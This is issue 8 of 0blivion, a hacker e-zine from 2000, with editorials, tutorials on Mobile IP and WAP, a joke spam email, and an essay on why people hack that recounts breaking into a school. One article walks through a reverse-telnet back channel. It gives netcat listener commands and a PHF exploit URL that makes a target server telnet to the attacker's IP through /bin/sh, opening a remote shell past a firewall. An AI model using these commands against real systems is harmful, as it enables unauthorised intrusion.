2000 << Back To 0blivion nº 8

_____ _ _ _____ | | |_| |_|| | | | _ _ __ _ _ _ | | ____ | _ || | | |\ \\ \ | || || _ || _ \ | | | || |__ | | \ \\ \ | || || | | || | \ \ | | | || || | \ \\ \ | || || | | || | | | | |_| || [] || |___\ \\ \| || || |_| || | | | |_____||____||_____\\_\\___||_||_____||_| |_| M a g a z i n e -=[ Oblivion Magazine ]=- -=[ http://www.0blivion.org ]=- Where do you want to r00t today? -=[ Editor: Cyber0ptix ]=- -=[ cyberoptix@0blivion.org ]=- -=[ Assistant Editor: Slider ]=- -=[ Slider@0blivion.org ]=- -=[ Writer/Advice: LockDown ]=- -=[ lock-down@hushmail.com ]=- Ripping Up Sanity For The Masses -=[ IRC: #OBLIVIONMAG on EFNet ]=- ----------------------------- Designed in pico -=[ Issue 8 - 15/10/2000 ]=- -=[ Contents ]=- -------- --------------------------------------- ----------------- [ Articles ] [ Author ] +-------------------------------------+ +---------------+ [ Contents ] [ 0blivion.org ] [ Introduction To Issue 8 ] [ Cyber0ptix ] [ Rant ] [ Slider ] [ Reverse Telnet/Back Channels ] [ Dysphunktion ] [ Mobile IP ] [ Slider ] [ Business Oppotunities ] [ 0blivion.org ] [ Wireless Applications Protocol ] [ Slider ] [ Why Hack? ] [ Illusion ] [ End Credits ] [ 0blivion.org ] --------------------------------------- ----------------- ---------------------------------------------- ----------------------------------------------------------- Introduction to Issues 8 - Cyber0ptix [cyberoptix@0blivion.org] ----------------------------------------------------------- Welcome to issue 8, well yeah its a little bit late, but better late than never hey, and at least we havent died. Well the main reason for it being late is lack of articles and time. Me and Slider have been busy this month and didn't really have enough time to be writting articles all month. Well we got a few from you, our readers, and these have been included in the issue. Remeber, if you ever fancy writing a little article or text, on any subject then send it in and well try and include it in 0blivion, what the worst that could happen? We could say no and laugh at you in the editorial, but Im sure we wont. Well not alot has happened this month, ive mainly been working and trying to get promoted, which should be happening soon ;o) Also been back at uni for a nice and steady 1 hour week ;o) ahh the joys of being a part time student with a full time job, even managed to get finance to buy a new computer which should be here next week ;o) ---------------------------------------------- ----------------------------------------------------------- Sliders little rant - Slider [slider@0blivion.org] ----------------------------------------------------------- Wazzzzzzzzzzzzzzzzzzup? this month has mostly been spent shouting this word across pubs/clubs/and streets, because of those ruddy Budweiser adverts and their spin-off's. What also have I been upto, well my life has taken a turn for the better! my job is top value and life couldnt be better! i have a nice car more money than ever, but no girl friend.. heh! what do i need one of them for? Constant sex, loving relationship, commitment.. erk! hang on, what am i saying??? Im a computer geek!, all i need is a shell account, BitchX and #sex on EFNet. Anyways, writing text files have kinda taken a back seat for me at the moment, i am more interested in sleeping.. no honestly, i dont have much time anymore, i spend most of the time on the road and doing courses, this will settle down soon and i will be writing text files as before... This month I had only written one article for 0blivion, and until Cyber sent me a text message saying that he did not have enough articles, i had to write one the same night/day.. So, guys/gals where the hell are your articles??? 0blivion only exists if we get articles and text files. So, if anyone has any text's/articles that they have written and would like them published, then send it into us. Or, if you have any ideas for text files or an article then give us a shout, and we would be v. much happy to check it out and help you out in writing it... REMEMBER YOU MAKE IT WHAT IT IS! Thanks to any of you that have supplied articles, and please keep on pumping it out we very much want your help and articles to keep on pushing 0blivion furthur. Also, thanks to any of you that have supplied feedback on 0blivion, we have taken this into consideration and actioned your questions/answers/points of view. Also, if you are interested Hants 2600 is going to blow off again very soon if anyone is interested in joining in. Many thanks. - Slider ---------------------------------------------- ----------------------------------------------------------- Reverse Telnet/Back Channels - dysphunktion [dysphunktion@hotmail.com] ----------------------------------------------------------- This is a fairly short text on the principles behind reverse telnet and back channel attacks. First we must set up a scenario for our telnet sessions to take place in. Imagine the server that you want access to is behind a standard packet switching firewall which is only allowing connections through ports 80 (HTTP) and 443 (HTTPS), this is quite often the case that you find and without other points of access these ports will have to be used. Now in order to use a back channel / reverse telnet you first need to have identified a vulnerability already on the server that allows you to execute commands on that server. An example of this would be the as ever famous but now obsolete PHF exploit but any exploit that lets you execute commands is also very useable. PHF is the example of an exploit that will be used in this text purely because it is well known and so the theory of back channels / reverse telnet can be followed easily without having to worry about how the exploit is working. So we have identified an exploit but because of the firewall we cant connect to any other port than 80 and 443. To start finding anything juicy on the server we need to get access via telnet but with the firewall in place we cannot connect to port 23 so it seems we are a bit buggered. But wait a sec the firewall will let the server telnet out to other systems so if we could sweet talk the server into telneting us then we could get a telnet connection to the server through the firewall without a problem (assuming of course telnet is installed on the server, which it is in almost all default installs). To start a reverse telnet session (a telnet session that originates at the server end rather than your PC) we need to use netcat (how would we cope without it !!) , we need to get it listening on ports 80 and another port , this other port could be any port but it has to be one that the firewall lets by on outbound traffic ( 21,25 etc etc just trial and error until ya get one) so the commands for getting netcat to listen on these ports are: nc -l -vv -p 80 nc -l -vv -p 21 Once we have netcat listening we have to initiate the reverse telnet by using the exploit we identified earlier. In our example PHF the command would be: http://www.target.org/cgi-bin/phf?Qalias=x%0a/bin/telnet%20 your_ip_address%2080%20|%20/bin/sh%20|%20/bin/telnet%20your_ip_address%2021 What this does is as follows: /bin/telnet your_ip_address 80 - This connects to your PC on port 80 (which netcat is listening on). This is the telnet screen that you will type the commands you want executed in. | /bin/sh - This pipes the output from the previous telnet screen into the shell of the server. |/bin/telnet your_ip_address 21 - Then results of the commands we executed via the first telnet screen are piped into a new telnet screen that comes to our computer on port 21 which the firewall allows through. Bang there you go, you have telnet on the server even though the firewall wouldn't let you connect to the server in the standard way, from here it's up to you what you do! Depending on the binaries that are on the target server all sorts of back channels can be created, not just telnet but things like xterm as well (nice if you can find it). ---------------------------------------------- ----------------------------------------------------------- Mobile IP - Slider [slider@0blivion.org] ----------------------------------------------------------- - Mobile IP In the DHCP and DDNS environment, DHCP provides a device with a valid IP address for the point at which it is attached to the network. DDNS provides a method of locating that device by its host name, no matter where that device happens to be attached to a network and what IP address it has been allocated. An alternative approach to the problem of dealing with mobile devices is provided in RFC 2002 IP Mobility Support. IP Mobility Support, commonly referred to as Mobile IP, is a proposed standard. -- Mobile IP Overview Mobile IP allows a device to maintain the same IP address (its home address) wherever it attaches to the network. (Obviously, a device with an IP address plugged into the wrong subnet will normally be unreachable.) However, the mobile device also has a care-of address, which relates to the subnet where it is currently located. The care-of address is managed by a home agent, which is a device on the home subnet of the mobile device. Any packet addressed to the IP address of the mobile device is intercepted by the home agent and then forwarded on to the care-of address through a tunnel. Once it arrives at the end of the tunnel, the datagram is delivered to the mobile device. The mobile node generally uses its home address as the source address of all datagrams that it sends. Mobile IP can help resolve address shortage problems and reduce administrative workload, because each device that needs to attach to the network at multiple locations requires a single IP address only. The following terminology is used in a mobile IP network configuration: * Home Address The static IP address allocated to a mobile node. It does not change no matter where the node attaches to the network. * Home Network A subnet with a network prefix matching the home address of the mobile node. Datagrams intended for the home address of the mobile node will always be routed to this network. * Tunnel The path followed by an encapsulated datagram. * Visited Network A network to which the mobile node is connected, other than the node's home network. * Home Agent A router on the home network of the mobile node that maintains current location information for the node and tunnels datagrams for delivery to the node when it is away from home. * Foreign Agent A router on a visited network that registers the presence of a mobile node and detunnels and forwards datagrams to the node that have been tunneled by the mobile node's home agent. -- Mobile IP Operation Mobility agents (home agents and foreign agents) advertise their presence on the network by means of agent advertisement messages, which are ICMP router advertisement messages with extensions. A mobile node may also explicitly request one of these messages with an agent solicitation message. When a mobile node connects to the network and receives one of these messages, it is able to determine whether it is on its home network or a foreign network. If the mobile node detects that it is on its home network, it will operate normally, without the use of mobility services. In addition, if it has just returned to the home network, having previously been working elsewhere, it will deregister itself with the home agent. This is done through the exchange of a registration request and registration reply. If, however, the mobile node detects from an agent advertisement that it has moved to a foreign network, then it obtains a care-of address for the foreign network. This address may be obtained from the foreign agent (a foreign agent care-of address, which is the address of the foreign agent itself), or it may be obtained by some other mechanism such as DHCP (in which case it is known as a co-located care-of address). The use of co-located care-of addresses has the advantage that the mobile node does not need a foreign agent to be present at every network that it visits, but it does require that a pool of IP addresses is made available for visiting mobile nodes by the DHCP server. Note that communication between a mobile node and a foreign agent takes place at the link layer level. It cannot use the normal IP routing mechanism, because the mobile node's IP address does not belong to the subnet in which it is currently located. Once the mobile node has received its care-of address, it needs to register itself with its home agent. This may be done through the foreign agent, which forwards the request to the home agent, or directly with the home agent. Once the home agent has registered the care-of address for the mobile node in its new position, any datagram intended for the home address of the mobile node is intercepted by the home agent and tunneled to the care-of address. The tunnel endpoint may be at a foreign agent if the mobile node has a foreign agent care-of address), or at the mobile node itself (if it has a co-located care-of address). Here the original datagram is removed from the tunnel and delivered to the mobile node. The mobile node will generally respond to the received datagram using standard IP routing mechanisms. -- Mobile IP Registration Process RFC 2002 defines two different procedures for mobile IP registration. The mobile node may register via a foreign agent, which relays the registration to the mobile node's home agent, or it may register directly with its home agent. The following rules are used to determine which of these registration processes is used: * If the mobile node has obtained its care-of address from a foreign agent, it must register via that foreign agent. * If the mobile node is using a co-located care-of address, but has received an agent advertisement from a foreign agent on this subnet, which has the R bit (registration required) set in that advertisement, then it should register via the agent. This mechanism allows for accounting to take place on foreign subnets, even if DHCP and co-located care-of address is the preferred method of address allocation. * If the mobile node is using a co-located care-of address but has not received such an advertisement, it must register directly with its home agent. * If the mobile node returns to its home network, it must (de)register directly with its home agent. The registration process involves the exchange of registration request and registration reply messages, which are UDP datagrams. The registration request is sent to port 434. -- Tunneling The home agent examines the destination IP address of all datagrams arriving on the home network. If the address matches with any of the mobile nodes currently registered as being away from home, then the home agent tunnels (using IP in IP encapsulation) the datagram to the care-of address for that mobile node. It is likely that the home agent will also be a router on the home network. In this case it is likely that it will receive datagrams addressed for a mobile node that is not currently registered as being away from home. In this case, the home agent assumes that the mobile node is at home, and forwards the datagram to the home network. When a foreign agent receives a datagram sent to its advertised care-of address, it compares the inner destination address with its list of registered visitors. If it finds a match, the foreign agent forwards the decapsulated datagram to the appropriate mobile node. If there is no match, the datagram is discarded. (The foreign agent must not forward such a datagram to the original IP header, otherwise a routing loop will occur.) If the mobile node is using a co-located care-of address, then the end of the tunnel lies at the mobile node itself. The mobile node is responsible for decapsulating the datagrams received from the home agent. -- Broadcast Datagrams If the home agent receives a broadcast datagram, it should not forward it to mobile nodes unless the mobile node specifically requested forwarding of broadcasts in its registration request. In this case, it will forward the datagram in one of the followingmanners: * If the mobile node has a co-located care-of address, the home agent simply encapsulates the datagram and tunnels it directly to the care-of address. * If the mobile node has a foreign agent care-of address, the home agent first encapsulates the broadcast in a unicast datagram addressed to the home address of the node. It then encapsulates and tunnels this datagram to the care-of address. In this way the foreign agent, when it decapsulates the datagram, knows to which of its registered mobile nodes it should forward the broadcast. -- Move Detection Mobile IP is designed not just for mobile users who regularly move from one site to another and attach their laptops to different subnets each time, but also for truly dynamic mobile users (for example, users of a wireless connection from an aircraft). Two mechanisms are defined that allow the mobile node to detect when it has moved from one subnet to another. When the mobile node detects that it has moved, it must re-register with a care-of address on the new foreign network. The two methods of move detection are as follows: 1. Foreign agents are consistently advertising their presence on the network by means of agent advertisements. When the mobile node receives an agent advertisement from its foreign agent, it starts a timer based on the lifetime field in the advertisement. If the mobile node has not received another advertisement from the same foreign agent by the time the lifetime has expired, then the mobile node assumes that it has lost contact with that agent. If in the meantime it has received an advertisement from another foreign agent, it may immediately attempt registration with the new agent. If it has not received any further agent advertisements, it should use Agent solicitation to try and locate a new foreign agent with which to register. 2. The mobile node checks whether any newly received agent advertisement is on the same subnet as its current care-of address. If the network prefix is different, the mobile node assumes that it has moved. On expiry of its current care-of address, the mobile node registers with the foreign agent that sent the new agent advertisement. -- Returning Home When the mobile node receives an agent advertisement from its own home agent, it knows that it has returned to its home network. Before deregistering with the home agent, the mobile node must configure its routing table for operation on the home subnet. -- ARP Considerations Mobile IP requires two extensions to ARP to cope with the movement of mobile nodes. These are: * Proxy ARP An ARP reply sent by one node on behalf of another that is either unable or unwilling to answer ARP request on its own behalf. *Gratuitous ARP An ARP packet sent as a local broadcast packet by one node that causes all receiving nodes to update an entry in their ARP cache. When a mobile node is registered as being on a foreign network, its home agent will use proxy ARP in response to any ARP request seeking the mobile node's MAC address. The home agent responds to the request giving its own MAC address. When a mobile node moves from its home network and registers itself with a foreign network, the home agent does a gratuitous ARP broadcast to update the ARP caches of all local nodes on the network. The MAC address used is again the MAC address of the home agent. When a mobile node returns to its home network, having been previously registered at a foreign network, gratuitous ARP is again used to update ARP caches of all local nodes, this time with the real MAC address of the mobile node. -- Mobile IP Security Considerations The mobile computing environment has many potential vulnerabilities with regard to security, particularly if wireless links are in use, which are particularly exposed to eavesdropping. The tunnel between a home agent and the care-of address of a mobile node could also be susceptible to interception, unless a strong authentication mechanism is implemented as part of the registration process. RFC 2002 specifies implementation of keyed MD5 for the authentication protocol and advocates the use of additional mechanisms (such as encryption) for environments where total privacy is required. RFC 2002 can be located doing a search on your fave. search engine. Slider. ---------------------------------------------- ----------------------------------------------------------- Business Oppotunites - 0blivion.org [makemoney@0blivion.org] ----------------------------------------------------------- Hi, After deciding that 0blivion.org needed a finacial investment to enable us to compete in the ever increasing market of information security we scoured the internet to find the best money making oppotunities we could. We are planning on making a small investment and want a very large return for our money. Well we think we may have found the business oppotunity, and because of the potential of this business plan we have decided to share this with you the readers. This is a real email which we received, if you want to own your own business then please feall free to get in touch with them just like we did and within 2 months you could be a multi millionaire just like us ;o) Dear Sir/Madam, We obtain your name from internet. We are looking for the "Automatic cap-opening dustbin" importers, distributors or agent in your area. The detail information of the dustbin is listing below. Attached file is the picture of "Auto-opening dustbin" It would be much appreciated if you can forward this information to your members or someone who may be interested in these products. For further more information, please contact us: Ninestars Group Tel: (86)591-7562088 Fax: (86)591-7508258 E-mail:jinyuan2401@21cn.com Address: Room 2401, B district Jinyuan Garden, 328 north 61 road, Fuzhou, China. Postcode: 350001 Thank you and best regards, Mr. Shi hongxiang Marketing department ******************************************************** A Brief Introduction of Electronic Inductive Automatic Cap-opening Dustbin When you are opening the cap of a dustbin now sold in the market, you have to touch with your hand or tread with your foot over the dustbin. It is very inconvenient, besides also much worse, you have a possibility of bacterial infection. But now, with delicate research, our company firstly invents a kind of automatic cap-opening dustbin based on infra red ray induction in the world. When your hand or some other objects are only about 15cm away from the induction window of the dustbin, the cap of the dustbin will open automatically. After the rubbish has been thrown into the dustbin, the cap will close automatically. You and objects need not contract with the dustbin. This product is controlled by computer chips and is consisted of infra red detecting device together with mechanical and electrical drive system. It is a high-tech product, a combination of machine-light-electricity technique. It also has many advantages, such as high performance, longer life than common dustbin in serving, low energy consuming and so on. Indication: 1.Open the cover of the battery case at the bottom of the induction dustbin. And equipped it with four batteries. Don't wrong-side the negative and the positive pole. 2.Open the power switch at the behind of the dustbin. At this moment, the red indicator lamp will be on for 3seconds.Then it will flash every 2 seconds, which shows that the circuit is now in normal working condition. 3.When you're going to throw rubbish into it, only keep the objects or your hand about 15cm high above the induction window (in vertical direction). The cap will automatically open within 0.5 second. After throwing the rubbish into the dustbin, the cap will automatically close about 3 seconds when you put your hand away from the induction window. 4.Press the button that is on the left of the induction window (cap which can be opening only by hand) the cap opens automatically but it cannot close automatically. If you close it, you have to press the on-the-right-side button. Press the on-the-right-side button. Again, the circuit will be in the automatic process. 5. (1) The indicator lamp in the normal waiting state flashes red (once every 2 seconds) (2) When the cap is automatically open, the indicator lamp is continuously green. (3) In the process of automatically closing, the indicator lamp is continuously yellow. (4) While the cap is opened by hand, it turns to flash green (once every 2 seconds) 6.When the battery is going to be used up, the indicator turns to flash yellow. Suppose you use the dustbin 20 times each day, the batteries can also be used for nearly 6 months. Since this product is equipped with electronic units. You cannot wash the dustbin with the dustbin with water. If it is dirty, you can clean it with a wet cloth. ---------------------------------------------- ----------------------------------------------------------- Wireless Applications Protocol - Slider [slider@0blivion.org] ----------------------------------------------------------- WAP - Wireless Application Protocol Imagine driving down the motorway at 120mph while reading your email.. not possible you say. Well, you lie..! Thanks to WAP (Wireless Application Protocol) it is now possible to do this, it is also possible to read the reviews of movies while standing in the queue at the video store over your mobile phone. - WML and WAP Hopefully you are all familiar with HTML language used to make Web pages. After you write an HTML page, you save it with an .HTML file extension, and then you place it in a specific folder of your Web box. When people want to access your page they type http://domain_name_here_or_ip/page_goes_here.html The server sends the tags from your HTML file back to the browser, which renders them on the screen. This request and response is called the Hypertext Transfer Protocol (HTTP). Wireless Markup Language (WML) works along the same lines as HTML, except that it is for small screens and low refresh rates/graphic details. You create a WML page in a text editor, and save it with a .WML file extension, much like the HTML based document. Below, is an example of WML in action. <?xml version="1.0"?> <!DOCTYPE wml PUBLIC "-0blivion.org tekniq 1.1//EN" "http://www.0blivion.org/index.WML"> <wml> <card id="WAZZZZZZZZUP" title="WAZZZZZZZZUP"> <p> WAZZZZZZZZUP h0mies! </p> </card> </wml> The example is a very basic WML based page, that displays a title and a content. Wireless Application Protocol (WAP) is the protocol that allows mobile phones and other wireless devices to connect to the Internet. You might be wondering why WML and WAP are even needed. Why not stay with HTML and HTTP, which is universally available? Some mobile devices do. But to really take advantage of what wireless network and mobile devices have to offer, WML and WAP are necessary to get by problems in technologies for example they have less powerful CPUs, less memory, smaller displays, and limited input capabilities. Wireless data networks also have less bandwidth, less predictable availability, and less connection stability than the typical home or office network. - Publishing WML If you have a Web server installed on your own computer, you can test your WML file pretty easily. But first, you have to configure your Web server so that it understands WML decks and their MIME type. I use the Apache HTTP Server, so to make this configuration change, I had to edit the httpd.conf file and add the following line: AddType text/vnd.wap.wml wml If you use the IBM HTTP Web server, just add it to the same file. If you use a Netscape or IIS, or others then, consult the server's documentation to find out what changes to make. If you are hosted by someone else, then ask them about enabling WAP. [Cyber0ptix - Alternatively you can enable it yourself on a box by simply adding the line to a .htaccess file and placing it in the folder you are service WML files from.] You can download WML browsers from Phone.com, Nokia, Ericsson, Slob Trot, and a few other places. Once you've got a browser installed, you can just enter the URL for your WML deck, just as you would in an ordinary browser, such as http://domain_name_here_or_ip/page_goes_here.wml - Resources/links To find out more about WAP and how to write it then look at http://www.wapforum.org/what/technical.htm For more information and annoucments, check out http://www.wirelessdevnet.com Slider. ---------------------------------------------- ----------------------------------------------------------- Why Do we hack? - Illusion [illusion@gamin3d.com] ----------------------------------------------------------- Why do we hack? Why? The big question. Why do we, as a hacker community, hack? It has given thousands an undeserved bad name and put thousands in jail. Yet we persist. We continue this insane crusade of hacking!! I will incite you, as a hacker, and others, from the non hacking community, into the mind of a hacker. It starts in grade school. We all started with something. For some it was an apple II and yet for others it was DOS 5.x with win 3.1 installed over it. No one knew anything. All we did was play games or browse folders. Then came the internet. Holy shit! I can talk to people across the world! I can be whoever / whatever I want to be. All I have to do is type! Then I heard of a hacker. Now what's this. A hacker...at that time "hacker" wasn't such a bad name. It was still mainly used for programmers who "hack" at code until its perfect. I didn't know who or what a hacker was all I knew was that it sounded interesting. It started with simple script kiddy stuff. You basic sub7 or you simple virri. This didn't take much. All I would do is take the disk to the target.....plug it in and presto. Go home and I can access their comp. Ahhhh......real elite. Then you read. I think all hackers are born good readers. You read about programs called telnet and ftp. What's this? I can do all this stuff without having to pop in a disk? Wow. You start playing around with these tools. You learn about ports and their weaknesses. You learn about basic password cracking and finding ways around them. Its still real simple stuff. Then comes the glory. You crack your first system. Everyone can remember. Its a thrill of a lifetime. I remember calling my friend and telling him how I did it. It was my school. We had lots of fun with that school. Learning more and more each time you signed online. I think that's why we do it. Why we commit ourselves to do this crime. I have talked to a countless number of hackers and they all agree. Some people say its the quest for knowledge. And yes I agree. It is. I always love learning something new and then trying it out. Everyone has been there. Staying up till 2 AM so you can finish reading the article. I hope that this has showed a little bit into a hackers mind. For a hacker is misunderstood. No one is out there to be malicious and cruel but they are out there for the thrill and the knowledge. With this I hope that you understand the hacker better......for it is not us that is the criminal but you. ~~ILLUSION ---------------------------------------------- | | | \____ 0wning The World Is A Slow Process,So Give Up And Let Us Gain R00t On You #OblivionMag EFNet Copyright 0blivion.org 2000 B0w Down And Feer The Revolution Of Oblivion Designed On 800x600 Resolution Sponsors : http://www.slidersecurity.co.uk http://net-security.org http://www.hackernews.com http://www.caffeine.org.uk http://www.lab6.com http://packetstorm.securify.com Music : Green Velvet - Flash 'Cameras ready, prepare to flash!!' Drink : Anything, preferably strong ;o) Thanks : Vortex, For hosting 0blivion.org Abattis and Gossi for re-hosting 0blivion.org Lockdown, kermit and Omega for their work. Atomix for his Bot's on #oblivionmag Spammy for his Bot's on #oblivionmag My new dealer for provider me with quality skunk ;o) Gatecrasher/Bed in sheffield for two tops nights Aleph1, R.F.P and all the h0es that make our lives worth living online And Akt0r, DC_`, d0tslash, Cl0wn, TNC, redmang, Slinkie and a few others #darkcyde, #bellcrew, #2600-uk, #bifemunix, #hax0r, #b10z, #beyond, #japan Woman : Rachel, S club 7 babe ;o)